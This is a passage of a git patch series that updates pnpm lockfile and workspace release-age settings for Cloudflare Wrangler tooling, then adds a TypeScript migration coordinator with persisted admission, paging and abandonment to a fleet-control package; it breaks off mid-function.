'@img/sharp-darwin-x64@0.35.2': optionalDependencies: '@img/sharp-libvips-darwin-x64': 1.3.1 @@ -4560,151 +4393,76 @@ snapshots: '@img/sharp-wasm32': 0.35.2 optional: true - '@img/sharp-libvips-darwin-arm64@1.2.4': - optional: true - '@img/sharp-libvips-darwin-arm64@1.3.1': optional: true - '@img/sharp-libvips-darwin-x64@1.2.4': - optional: true - '@img/sharp-libvips-darwin-x64@1.3.1': optional: true - '@img/sharp-libvips-linux-arm64@1.2.4': - optional: true - '@img/sharp-libvips-linux-arm64@1.3.1': optional: true - '@img/sharp-libvips-linux-arm@1.2.4': - optional: true - '@img/sharp-libvips-linux-arm@1.3.1': optional: true - '@img/sharp-libvips-linux-ppc64@1.2.4': - optional: true - '@img/sharp-libvips-linux-ppc64@1.3.1': optional: true - '@img/sharp-libvips-linux-riscv64@1.2.4': - optional: true - '@img/sharp-libvips-linux-riscv64@1.3.1': optional: true - '@img/sharp-libvips-linux-s390x@1.2.4': - optional: true - '@img/sharp-libvips-linux-s390x@1.3.1': optional: true - '@img/sharp-libvips-linux-x64@1.2.4': - optional: true - '@img/sharp-libvips-linux-x64@1.3.1': optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.2.4': - optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.3.1': optional: true - '@img/sharp-libvips-linuxmusl-x64@1.2.4': - optional: true - '@img/sharp-libvips-linuxmusl-x64@1.3.1': optional: true - '@img/sharp-linux-arm64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-arm64': 1.2.4 - optional: true - '@img/sharp-linux-arm64@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-arm64': 1.3.1 optional: true - '@img/sharp-linux-arm@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-arm': 1.2.4 - optional: true - '@img/sharp-linux-arm@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-arm': 1.3.1 optional: true - '@img/sharp-linux-ppc64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-ppc64': 1.2.4 - optional: true - '@img/sharp-linux-ppc64@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-ppc64': 1.3.1 optional: true - '@img/sharp-linux-riscv64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-riscv64': 1.2.4 - optional: true - '@img/sharp-linux-riscv64@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-riscv64': 1.3.1 optional: true - '@img/sharp-linux-s390x@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-s390x': 1.2.4 - optional: true - '@img/sharp-linux-s390x@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-s390x': 1.3.1 optional: true - '@img/sharp-linux-x64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linux-x64': 1.2.4 - optional: true - '@img/sharp-linux-x64@0.35.2': optionalDependencies: '@img/sharp-libvips-linux-x64': 1.3.1 optional: true - '@img/sharp-linuxmusl-arm64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 - optional: true - '@img/sharp-linuxmusl-arm64@0.35.2': optionalDependencies: '@img/sharp-libvips-linuxmusl-arm64': 1.3.1 optional: true - '@img/sharp-linuxmusl-x64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-linuxmusl-x64': 1.2.4 - optional: true - '@img/sharp-linuxmusl-x64@0.35.2': optionalDependencies: '@img/sharp-libvips-linuxmusl-x64': 1.3.1 optional: true - '@img/sharp-wasm32@0.34.5': - dependencies: - '@emnapi/runtime': 1.11.2 - optional: true - '@img/sharp-wasm32@0.35.2': dependencies: '@emnapi/runtime': 1.11.2 @@ -4715,21 +4473,12 @@ snapshots: '@img/sharp-wasm32': 0.35.2 optional: true - '@img/sharp-win32-arm64@0.34.5': - optional: true - '@img/sharp-win32-arm64@0.35.2': optional: true - '@img/sharp-win32-ia32@0.34.5': - optional: true - '@img/sharp-win32-ia32@0.35.2': optional: true - '@img/sharp-win32-x64@0.34.5': - optional: true - '@img/sharp-win32-x64@0.35.2': optional: true @@ -6502,24 +6251,24 @@ snapshots: min-indent@1.0.1: {} - miniflare@4.20260701.0: + miniflare@5.20260730.0-alpha: dependencies: '@cspotcode/source-map-support': 0.8.1 - sharp: 0.34.5 + sharp: 0.35.2 undici: 7.29.0 - workerd: 1.20260701.1 + workerd: 1.20260730.1 ws: 8.21.0 youch: 4.1.0-beta.10 transitivePeerDependencies: - bufferutil - utf-8-validate - miniflare@5.20260730.0-alpha: + miniflare@5.20260903.0-alpha: dependencies: '@cspotcode/source-map-support': 0.8.1 sharp: 0.35.2 undici: 7.29.0 - workerd: 1.20260730.1 + workerd: 1.20260903.1 ws: 8.21.0 youch: 4.1.0-beta.10 transitivePeerDependencies: @@ -6915,37 +6664,6 @@ snapshots: setprototypeof@1.2.0: {} - sharp@0.34.5: - dependencies: - '@img/colour': 1.1.0 - detect-libc: 2.1.2 - semver: 7.8.5 - optionalDependencies: - '@img/sharp-darwin-arm64': 0.34.5 - '@img/sharp-darwin-x64': 0.34.5 - '@img/sharp-libvips-darwin-arm64': 1.2.4 - '@img/sharp-libvips-darwin-x64': 1.2.4 - '@img/sharp-libvips-linux-arm': 1.2.4 - '@img/sharp-libvips-linux-arm64': 1.2.4 - '@img/sharp-libvips-linux-ppc64': 1.2.4 - '@img/sharp-libvips-linux-riscv64': 1.2.4 - '@img/sharp-libvips-linux-s390x': 1.2.4 - '@img/sharp-libvips-linux-x64': 1.2.4 - '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 - '@img/sharp-libvips-linuxmusl-x64': 1.2.4 - '@img/sharp-linux-arm': 0.34.5 - '@img/sharp-linux-arm64': 0.34.5 - '@img/sharp-linux-ppc64': 0.34.5 - '@img/sharp-linux-riscv64': 0.34.5 - '@img/sharp-linux-s390x': 0.34.5 - '@img/sharp-linux-x64': 0.34.5 - '@img/sharp-linuxmusl-arm64': 0.34.5 - '@img/sharp-linuxmusl-x64': 0.34.5 - '@img/sharp-wasm32': 0.34.5 - '@img/sharp-win32-arm64': 0.34.5 - '@img/sharp-win32-ia32': 0.34.5 - '@img/sharp-win32-x64': 0.34.5 - sharp@0.35.2: dependencies: '@img/colour': 1.1.0 @@ -7340,14 +7058,6 @@ snapshots: siginfo: 2.0.0 stackback: 0.0.2 - workerd@1.20260701.1: - optionalDependencies: - '@cloudflare/workerd-darwin-64': 1.20260701.1 - '@cloudflare/workerd-darwin-arm64': 1.20260701.1 - '@cloudflare/workerd-linux-64': 1.20260701.1 - '@cloudflare/workerd-linux-arm64': 1.20260701.1 - '@cloudflare/workerd-windows-64': 1.20260701.1 - workerd@1.20260730.1: optionalDependencies: '@cloudflare/workerd-darwin-64': 1.20260730.1 @@ -7356,24 +7066,15 @@ snapshots: '@cloudflare/workerd-linux-arm64': 1.20260730.1 '@cloudflare/workerd-windows-64': 1.20260730.1 - wrangler@4.107.0(@cloudflare/workers-types@4.20260702.1): - dependencies: - '@cloudflare/kv-asset-handler': 0.5.0 - '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260701.1) - blake3-wasm: 2.1.5 - esbuild: 0.28.1 - miniflare: 4.20260701.0 - path-to-regexp: 6.3.0 - unenv: 2.0.0-rc.24 - workerd: 1.20260701.1 + workerd@1.20260903.1: optionalDependencies: - '@cloudflare/workers-types': 4.20260702.1 - fsevents: 2.3.3 - transitivePeerDependencies: - - bufferutil - - utf-8-validate + '@cloudflare/workerd-darwin-64': 1.20260903.1 + '@cloudflare/workerd-darwin-arm64': 1.20260903.1 + '@cloudflare/workerd-linux-64': 1.20260903.1 + '@cloudflare/workerd-linux-arm64': 1.20260903.1 + '@cloudflare/workerd-windows-64': 1.20260903.1 - wrangler@4.118.0(@cloudflare/workers-types@4.20260702.1): + wrangler@4.118.0(@cloudflare/workers-types@5.20260905.1): dependencies: '@cloudflare/kv-asset-handler': 0.5.0 '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1) @@ -7384,24 +7085,24 @@ snapshots: unenv: 2.0.0-rc.24 workerd: 1.20260730.1 optionalDependencies: - '@cloudflare/workers-types': 4.20260702.1 + '@cloudflare/workers-types': 5.20260905.1 fsevents: 2.3.3 transitivePeerDependencies: - bufferutil - utf-8-validate - wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1): + wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1): dependencies: '@cloudflare/kv-asset-handler': 0.5.0 - '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1) + '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260903.1) blake3-wasm: 2.1.5 esbuild: 0.28.1 - miniflare: 5.20260730.0-alpha + miniflare: 5.20260903.0-alpha path-to-regexp: 6.3.0 unenv: 2.0.0-rc.24 - workerd: 1.20260730.1 + workerd: 1.20260903.1 optionalDependencies: - '@cloudflare/workers-types': 5.20260730.1 + '@cloudflare/workers-types': 5.20260905.1 fsevents: 2.3.3 transitivePeerDependencies: - bufferutil diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index bdd8ccad..57a2b576 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -6,14 +6,16 @@ minimumReleaseAge: 10080 # Mastra ships in lockstep with @mastra/core (audited, version-locked here); # quarantining it just forces stale mismatched subtrees. minimumReleaseAgeExclude: + # Approved September 5 for the current Wrangler runtime upgrade only. + - "wrangler@4.129.0" + - "miniflare@5.20260903.0-alpha" - "@mastra/*" # Astryx (Meta design system) is Beta and ships faster than the 7-day gate; # versions are pinned exact in packages/flowsafe to bound the exposure. - "@astryxdesign/*" - # Forced by wrangler's pinned workerd range; Cloudflare publishes workerd and - # workers-types ~weekly, faster than the 7-day gate. The resolved versions are - # already lockfile-pinned and installed, so this reuses them rather than - # fetching anything new. + # Cloudflare runtime packages follow Wrangler's exact workerd/miniflare pins; + # Workers type releases also ship faster than the gate. Keep resolved versions + # locked while admitting those toolchain releases. - "@cloudflare/*" - "workerd" # Forced by wrangler → miniflare → sharp; already lockfile-pinned — the gate From 9111eb9679ad4a7686ec5851f114546d99a87326 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 5 Sep 2026 21:40:15 +0400 Subject: [PATCH 073/169] feat(fleet-control): add bounded migration coordinator core Add persisted migration admission, one-step continuation, item paging and abandonment over the existing operation store. Fence frozen plans against current deployment state and permit exact admission-cursor recovery. Allow failed items to omit admission metadata when admission never completed. Match D1's mutation-key uniqueness, item-only update, and prefix guards in both test stores. Fix target application-binding validation during plain Worker upgrades. Verification: scoped coordinator/store/golden tests, three baseline checks, Fleet build and typechecks, Biome, architecture 31/31, docs check, and independent clean-code, architecture, QA and conformance reviews. Public exports, remaining crash/fence coverage and bounded migration docs follow in the next checkpoint. --- .changeset/plain-worker-migration-bindings.md | 5 + .../src/fleet-migration-advance.ts | 628 +++++ .../src/fleet-migration-state.ts | 21 +- packages/fleet-control/src/fleet.ts | 183 +- .../test/fleet-audit-advance.test.ts | 243 +- .../test/fleet-migration-advance.test.ts | 2279 +++++++++++++++++ .../test/fleet-operation-state.test.ts | 29 + 7 files changed, 3339 insertions(+), 49 deletions(-) create mode 100644 .changeset/plain-worker-migration-bindings.md create mode 100644 packages/fleet-control/src/fleet-migration-advance.ts create mode 100644 packages/fleet-control/test/fleet-migration-advance.test.ts diff --git a/.changeset/plain-worker-migration-bindings.md b/.changeset/plain-worker-migration-bindings.md new file mode 100644 index 00000000..6aaa902a --- /dev/null +++ b/.changeset/plain-worker-migration-bindings.md @@ -0,0 +1,5 @@ +--- +"@proofoftech/fleet-control": patch +--- + +Validate plain Worker upgrades against the target application's bindings during candidate inspection, promotion, and settlement. Changing application variables or secrets no longer deploys the new bindings and then rejects them against the previous deployment's binding configuration. diff --git a/packages/fleet-control/src/fleet-migration-advance.ts b/packages/fleet-control/src/fleet-migration-advance.ts new file mode 100644 index 00000000..0ea08743 --- /dev/null +++ b/packages/fleet-control/src/fleet-migration-advance.ts @@ -0,0 +1,628 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { AttestConvergedActiveRouteOptions } from './active-route.js'; +import type { FinalizedOrdinaryStateProvider } from './backend-switch.js'; +import { + isDeploymentEnvironment, + isDeploymentTenantTag, +} from './deployment-context.js'; +import { + admitFleetMigrationItem, + assertFleetMigrationPlanCompatibility, + executeNextMigrationStep, + revalidateFleetMigrationAdmission, +} from './fleet.js'; +import { + type FleetMigrationItem, + type FleetMigrationProgress, + fleetMigrationItemFromUnknown, + fleetMigrationOperationRecordFromUnknown, +} from './fleet-migration-state.js'; +import { + assertFleetOperationId, + canonicalFleetOperationBytes, + classifyFleetOperationToken, + FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + type FleetOperationFailure, + type FleetOperationLease, + type FleetOperationRunRecord, + type FleetOperationStagedRow, + FleetOperationStateError, + type FleetOperationStore, + type FleetOperationToken, + FleetOperationTokenOperationError, + fleetOperationIntakeDigest, + fleetOperationItemsIntake, + fleetOperationOtherKindMessage, + fleetOperationTokenOf, + malformed, + parseFleetOperationToken, + readAllFleetOperationRows, +} from './fleet-operation-state.js'; +import type { + DeploymentSecrets, + DeploymentSpec, + FleetRecord, + FleetSettlementHost, + FleetStateStore, + ProvisioningBackend, +} from './types.js'; + +export type FleetMigrationAdvanceAction = + | Readonly<{ + kind: 'start'; + operationId: string; + records: readonly FleetRecord[]; + canaryTenantTags: readonly string[]; + }> + | Readonly<{ kind: 'continue'; token: unknown }>; + +export interface AdvanceFleetMigrationOptions { + readonly operationStore: FleetOperationStore; + readonly fleetStore: FleetStateStore; + readonly backendFor: (record: FleetRecord) => ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly secretsFor: (record: FleetRecord) => DeploymentSecrets; + readonly finalizedStateProviderFor?: ( + record: FleetRecord, + ) => FinalizedOrdinaryStateProvider | undefined; + readonly settlementFor?: ( + record: FleetRecord, + ) => FleetSettlementHost | undefined; + readonly routeAttestation?: AttestConvergedActiveRouteOptions; + readonly clock?: () => number; + readonly action: FleetMigrationAdvanceAction; +} + +export interface FleetMigrationResultRef { + readonly operationId: string; + readonly itemCount: number; + readonly completedItemCount: number; + readonly finalizedAtMs: number; +} + +export type FleetMigrationAdvanceResult = + | Readonly<{ + status: 'pending'; + token: FleetOperationToken; + itemOrdinal: number; + planCursor?: number; + }> + | Readonly<{ + status: 'complete'; + token: FleetOperationToken; + result: FleetMigrationResultRef; + }> + | Readonly<{ + status: 'failed'; + token: FleetOperationToken; + failure: FleetOperationFailure; + }>; + +export type FleetMigrationAdvanceCapability = 'operation-store'; + +export class FleetMigrationAdvanceCapabilityError extends Error { + readonly capability = 'operation-store'; + + constructor() { + super('fleet migration advance requires an operation store'); + this.name = 'FleetMigrationAdvanceCapabilityError'; + } +} + +class FleetMigrationTargetDriftError extends Error { + constructor() { + super('fleet migration target specification changed after admission'); + this.name = 'FleetMigrationTargetDriftError'; + } +} + +type MigrationRun = ReturnType; + +function assertOperationStore(store: FleetOperationStore): void { + for (const member of [ + 'withAccountOperationLease', + 'readOperationById', + 'readOperationRowsPage', + ] as const) { + if ( + !store || + !Reflect.has(store, member) || + typeof store[member] !== 'function' + ) { + throw new FleetMigrationAdvanceCapabilityError(); + } + } +} + +function migrationRun(record: FleetOperationRunRecord): MigrationRun { + const run = fleetMigrationOperationRecordFromUnknown(record); + if (run.progress.completedItemCount !== run.progress.activeItemOrdinal) + return malformed(); + return run; +} + +function itemRow(item: FleetMigrationItem): FleetOperationStagedRow { + return { + rowKind: 'item', + ordinal: item.ordinal, + payload: { ...fleetMigrationItemFromUnknown(item) }, + }; +} + +async function readItems( + store: FleetOperationStore, + run: MigrationRun, +): Promise { + const rows = await readAllFleetOperationRows(store, run.operationId, 'item'); + if ( + rows.length > run.progress.itemCount || + (run.progress.revision > 0 && rows.length !== run.progress.itemCount) + ) + return malformed(); + return rows.map((row) => { + const item = fleetMigrationItemFromUnknown(row.payload); + if (row.rowKind !== 'item' || item.ordinal !== row.ordinal) + return malformed(); + return item; + }); +} + +async function resultFromRun( + store: FleetOperationStore, + record: FleetOperationRunRecord, +): Promise { + const run = migrationRun(record); + const token = fleetOperationTokenOf(run); + const { itemCount, completedItemCount, activeItemOrdinal } = run.progress; + if (run.state === 'failed') { + if (!run.progress.failure) return malformed(); + return { status: 'failed', token, failure: run.progress.failure }; + } + if (run.state === 'finalized') { + if (run.terminalAtMs === undefined || completedItemCount !== itemCount) + return malformed(); + return { + status: 'complete', + token, + result: { + operationId: run.operationId, + itemCount, + completedItemCount, + finalizedAtMs: run.terminalAtMs, + }, + }; + } + if (run.progress.revision === 0 || activeItemOrdinal === itemCount) { + return { status: 'pending', token, itemOrdinal: activeItemOrdinal }; + } + const item = (await readItems(store, run))[activeItemOrdinal]; + if (!item || (item.status !== 'pending' && item.status !== 'active')) + return malformed(); + return { + status: 'pending', + token, + itemOrdinal: activeItemOrdinal, + ...(item.planCursor === undefined ? {} : { planCursor: item.planCursor }), + }; +} + +/** + * Operation records use a fresh wall-clock updatedAt, independent of the + * deployment clock. Unequal recomposed bytes conflict; equal bytes (including + * coincident millisecond stamps) reach the store's row comparison. A batch's + * own lost response and an identical-object replay retain their original + * bytes. Every new continue call derives its next transition from storage. + */ +function progressedRun( + run: MigrationRun, + progress: FleetMigrationProgress, +): MigrationRun { + return { ...run, progress, updatedAt: new Date().toISOString() }; +} + +async function failItem( + lease: FleetOperationLease, + run: MigrationRun, + item: FleetMigrationItem | undefined, + reason: FleetOperationFailure['reason'], +): Promise { + const failure: FleetOperationFailure = { + reason, + ...(item ? { itemOrdinal: item.ordinal } : {}), + }; + await lease.failOperation({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + runRecord: { + ...progressedRun(run, { + ...run.progress, + revision: run.progress.revision + 1, + failure, + }), + state: 'failed', + }, + ...(item ? { updateRows: [itemRow({ ...item, status: 'failed' })] } : {}), + }); +} + +async function startMigration( + options: AdvanceFleetMigrationOptions, + action: Extract, +): Promise { + const operationId = action.operationId; + assertFleetOperationId(operationId); + const inputRecords = action.records; + if (inputRecords.length > FLEET_OPERATION_ITEM_BOUND) { + throw new Error( + `fleet migration start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, + ); + } + if ( + inputRecords.some((record) => record === null || typeof record !== 'object') + ) { + throw new Error( + 'fleet migration record exceeds the intake structure bounds', + ); + } + let canaryTenantTags: unknown; + try { + canaryTenantTags = JSON.parse( + canonicalFleetOperationBytes(action.canaryTenantTags), + ); + } catch (error) { + if (!(error instanceof FleetOperationStateError)) throw error; + throw new Error( + 'fleet migration canaryTenantTags exceed the intake structure or byte bounds', + ); + } + if ( + !Array.isArray(canaryTenantTags) || + !canaryTenantTags.every((tag): tag is string => typeof tag === 'string') + ) { + throw new Error( + 'fleet migration canaryTenantTags must be an array of strings', + ); + } + const intake = fleetOperationItemsIntake({ + envelope: { canaryTenantTags }, + items: inputRecords, + itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + }); + if ('reason' in intake) { + switch (intake.reason) { + case 'item-count': + throw new Error( + `fleet migration start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, + ); + case 'item-structure': + throw new Error( + `fleet migration record ${intake.itemOrdinal + 1} exceeds the intake structure bounds`, + ); + case 'item-bytes': + throw new Error( + `fleet migration record ${intake.itemOrdinal + 1} exceeds the staged row byte bound`, + ); + case 'aggregate-bytes': + throw new Error( + 'fleet migration start canonical intake exceeds the intake byte bound', + ); + } + } + const records = intake.items.map((record) => { + if (!record || typeof record !== 'object') return malformed(); + const candidate = record as Record; + if ( + typeof candidate.tenantTag !== 'string' || + !isDeploymentTenantTag(candidate.tenantTag) || + typeof candidate.environment !== 'string' || + !isDeploymentEnvironment(candidate.environment) + ) { + throw new Error( + 'fleet migration record tenantTag and environment must satisfy the deployment identifier grammar', + ); + } + return { + snapshot: record, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + }; + }); + const canaryOrder = new Map( + canaryTenantTags.map((tag, index) => [tag, index]), + ); + records.sort((a, b) => { + const aCanary = canaryOrder.get(a.tenantTag); + const bCanary = canaryOrder.get(b.tenantTag); + if (aCanary !== undefined || bCanary !== undefined) { + if (aCanary === undefined) return 1; + if (bCanary === undefined) return -1; + return aCanary - bCanary; + } + return `${a.tenantTag}:${a.environment}`.localeCompare( + `${b.tenantTag}:${b.environment}`, + ); + }); + const rows = records.map((record, ordinal) => + itemRow({ + ordinal, + tenantTag: record.tenantTag, + environment: record.environment, + ...(canaryOrder.has(record.tenantTag) + ? { canaryRank: canaryOrder.get(record.tenantTag) } + : {}), + entryRecordDigest: fleetOperationIntakeDigest(record.snapshot), + status: 'pending', + }), + ); + return options.operationStore.withAccountOperationLease( + 'migration', + async (lease) => { + await lease.assertOwned(); + const started = await lease.startOperation({ + operationId, + kind: 'migration', + intakeDigest: intake.digest, + runRecord: { + version: 1, + operationId, + kind: 'migration', + state: 'running', + progress: { + kind: 'migration', + revision: 0, + itemCount: rows.length, + activeItemOrdinal: 0, + completedItemCount: 0, + } as FleetMigrationProgress, + updatedAt: new Date().toISOString(), + }, + }); + const run = migrationRun(started.record); + if (started.outcome === 'adopted-terminal' || run.progress.revision > 0) { + return resultFromRun(options.operationStore, run); + } + await lease.stageRows({ operationId, expectedRevision: 0, rows }); + const committed = await lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: progressedRun(run, { ...run.progress, revision: 1 }), + expectedRowWatermarks: { item: rows.length }, + }); + return resultFromRun(options.operationStore, committed); + }, + ); +} + +async function advanceItem( + options: AdvanceFleetMigrationOptions, + operationLease: FleetOperationLease, + run: MigrationRun, + item: FleetMigrationItem, +): Promise { + let next: FleetMigrationItem; + try { + const attestationOptions: AttestConvergedActiveRouteOptions = { + clock: options.clock ?? Date.now, + ...options.routeAttestation, + }; + next = await options.fleetStore.withDeploymentLease( + item.tenantTag, + item.environment, + async (lease) => { + await operationLease.assertOwned(); + await lease.assertOwned(); + const deps = { + store: options.fleetStore, + backendFor: (record: FleetRecord) => options.backendFor(record), + specFor: (record: FleetRecord) => options.specFor(record), + secretsFor: (record: FleetRecord) => options.secretsFor(record), + finalizedStateProviderFor: (record: FleetRecord) => + options.finalizedStateProviderFor?.(record), + settlementFor: (record: FleetRecord) => + options.settlementFor?.(record), + lease, + attestationOptions, + get clock() { + return options.clock ?? Date.now; + }, + ordinal: item.ordinal + 1, + }; + if (item.status === 'pending') { + const { admitted, plan } = await admitFleetMigrationItem( + deps, + item.tenantTag, + item.environment, + ); + return { + ...item, + targetSpecDigest: admitted.targetDigest, + plan, + planCursor: 0, + status: 'active' as const, + }; + } + const { plan, planCursor, targetSpecDigest } = item; + if ( + item.status !== 'active' || + plan === undefined || + planCursor === undefined || + targetSpecDigest === undefined + ) + return malformed(); + const admission = await revalidateFleetMigrationAdmission( + deps, + plan, + targetSpecDigest, + item.tenantTag, + item.environment, + ); + if ('reason' in admission) throw new FleetMigrationTargetDriftError(); + const { admitted, reread } = admission; + await assertFleetMigrationPlanCompatibility( + admitted, + { plan, planCursor }, + reread, + ); + await operationLease.assertOwned(); + const step = await executeNextMigrationStep( + admitted, + plan, + planCursor, + { entry: reread, current: reread }, + ); + return { + ...item, + planCursor: planCursor + 1, + status: step.done ? ('complete' as const) : ('active' as const), + }; + }, + ); + } catch (error) { + await failItem( + operationLease, + run, + item, + error instanceof FleetMigrationTargetDriftError + ? 'target-drift' + : 'item-failed', + ); + throw error; + } + const complete = next.status === 'complete'; + const committed = await operationLease.commitProgress({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + runRecord: progressedRun(run, { + ...run.progress, + revision: run.progress.revision + 1, + activeItemOrdinal: run.progress.activeItemOrdinal + (complete ? 1 : 0), + completedItemCount: run.progress.completedItemCount + (complete ? 1 : 0), + }), + updateRows: [itemRow(next)], + expectedRowWatermarks: { item: run.progress.itemCount }, + }); + return resultFromRun(options.operationStore, committed); +} + +async function continueMigration( + options: AdvanceFleetMigrationOptions, + token: unknown, +): Promise { + const parsed = parseFleetOperationToken(token); + return options.operationStore.withAccountOperationLease( + 'migration', + async (lease) => { + await lease.assertOwned(); + const record = + (await lease.readOperation(parsed.operationId)) ?? + (await options.operationStore.readOperationById(parsed.operationId)); + const classification = classifyFleetOperationToken( + parsed, + record, + 'migration', + ); + if (!record) + throw new FleetOperationTokenOperationError(parsed.operationId); + const run = migrationRun(record); + if ( + classification === 'stale' || + run.state !== 'running' || + run.progress.revision === 0 + ) { + return resultFromRun(options.operationStore, run); + } + if (run.progress.activeItemOrdinal === run.progress.itemCount) { + const finalized = await lease.finalizeOperation({ + operationId: run.operationId, + expectedRevision: run.progress.revision, + runRecord: { + ...progressedRun(run, { + ...run.progress, + revision: run.progress.revision + 1, + }), + state: 'finalized', + }, + expectedRowCounts: { item: run.progress.itemCount }, + requireAllItemsComplete: true, + }); + return resultFromRun(options.operationStore, finalized); + } + const item = (await readItems(options.operationStore, run))[ + run.progress.activeItemOrdinal + ]; + if (!item) return malformed(); + return advanceItem(options, lease, run, item); + }, + ); +} + +/** Runs one admission or one frozen migration step; callers own re-entry. */ +export async function advanceFleetMigration( + options: AdvanceFleetMigrationOptions, +): Promise { + assertOperationStore(options.operationStore); + const action = options.action; + return action.kind === 'start' + ? startMigration(options, action) + : continueMigration(options, action.token); +} + +/** Reads ordered item metadata, including while the operation is running. */ +export async function readFleetMigrationItemsPage( + store: FleetOperationStore, + input: Readonly<{ + operationId: string; + afterOrdinal?: number; + limit: number; + }>, +): Promise> { + const { operationId, afterOrdinal, limit } = input; + const run = await store.readOperationById(operationId); + if (!run) throw new FleetOperationTokenOperationError(operationId); + if (run.kind !== 'migration') + throw new Error(fleetOperationOtherKindMessage(operationId)); + const page = await store.readOperationRowsPage({ + operationId, + rowKind: 'item', + limit, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + if (page.rows.length > limit || (!page.done && page.rows.length === 0)) + return malformed(); + const rows = [...page.rows].sort((a, b) => a.ordinal - b.ordinal); + const items = rows.map((row, index) => { + const item = fleetMigrationItemFromUnknown(row.payload); + if ( + row.rowKind !== 'item' || + row.ordinal !== (afterOrdinal ?? -1) + 1 + index || + row.ordinal !== item.ordinal + ) + return malformed(); + return item; + }); + return { items, done: page.done }; +} + +/** Fails a running operation and its active item; terminal calls are no-ops. */ +export async function abandonFleetMigrationOperation( + input: Readonly<{ operationStore: FleetOperationStore; operationId: string }>, +): Promise { + const { operationStore, operationId } = input; + await operationStore.withAccountOperationLease('migration', async (lease) => { + await lease.assertOwned(); + const record = + (await lease.readOperation(operationId)) ?? + (await operationStore.readOperationById(operationId)); + if (!record) throw new FleetOperationTokenOperationError(operationId); + if (record.kind !== 'migration') + throw new Error(fleetOperationOtherKindMessage(operationId)); + if (record.state !== 'running') return; + const run = migrationRun(record); + const item = (await readItems(operationStore, run))[ + run.progress.activeItemOrdinal + ]; + await failItem(lease, run, item, 'operator-abandoned'); + }); +} diff --git a/packages/fleet-control/src/fleet-migration-state.ts b/packages/fleet-control/src/fleet-migration-state.ts index 2fe80c2c..53b415ce 100644 --- a/packages/fleet-control/src/fleet-migration-state.ts +++ b/packages/fleet-control/src/fleet-migration-state.ts @@ -121,16 +121,19 @@ export function fleetMigrationItemFromUnknown( ) { return malformed(); } - const pending = candidate.status === 'pending'; + const admitted = candidate.targetSpecDigest !== undefined; if ( - pending !== (candidate.targetSpecDigest === undefined) || - pending !== (candidate.plan === undefined) || - pending !== (candidate.planCursor === undefined) + (candidate.status === 'pending' && admitted) || + (candidate.status !== 'pending' && + candidate.status !== 'failed' && + !admitted) || + admitted !== (candidate.plan !== undefined) || + admitted !== (candidate.planCursor !== undefined) ) { return malformed(); } let plan: readonly FleetMigrationPlanEntry[] | undefined; - if (!pending) { + if (admitted) { if ( !fleetOperationSha256(candidate.targetSpecDigest) || !Array.isArray(candidate.plan) || @@ -157,13 +160,13 @@ export function fleetMigrationItemFromUnknown( ? {} : { canaryRank: candidate.canaryRank }), entryRecordDigest: candidate.entryRecordDigest, - ...(pending - ? {} - : { + ...(admitted + ? { targetSpecDigest: candidate.targetSpecDigest as string, plan: plan as readonly FleetMigrationPlanEntry[], planCursor: candidate.planCursor as number, - }), + } + : {}), status: candidate.status, }; } diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 51a7a37b..72462f7e 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -13,7 +13,11 @@ import { finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, } from './backend-switch.js'; -import type { FleetMigrationPlanEntry } from './fleet-migration-state.js'; +import type { + FleetMigrationItem, + FleetMigrationPlanEntry, + FleetMigrationStep, +} from './fleet-migration-state.js'; import { FLEET_MIGRATION_PLAN_BOUND } from './fleet-operation-state.js'; import { assertExternalPlatformTarget, @@ -43,6 +47,7 @@ import type { DeploymentSecrets, DeploymentSpec, ExternalMigrationIntent, + ExternalMigrationSubphase, ExternalPlatformTargetDescription, ExternalReleaseSnapshot, ExternalReleaseTopology, @@ -61,6 +66,7 @@ import type { import { assertNoActiveCleanup, assertNoActiveDecommission, + EXTERNAL_MIGRATION_SUBPHASES, effectiveLifecyclePhase, } from './types.js'; import { @@ -2201,11 +2207,13 @@ function platformOnlyChangeOf( function assertFleetMigrationNonReadyGuards( admitted: AdmittedFleetMigrationContext, stored: FleetRecord, + frozenPlanKind?: FleetMigrationPlanKind, ): void { const { spec, immutableExternal, targetRelease, targetPlatform } = admitted; const platformOnlyChange = 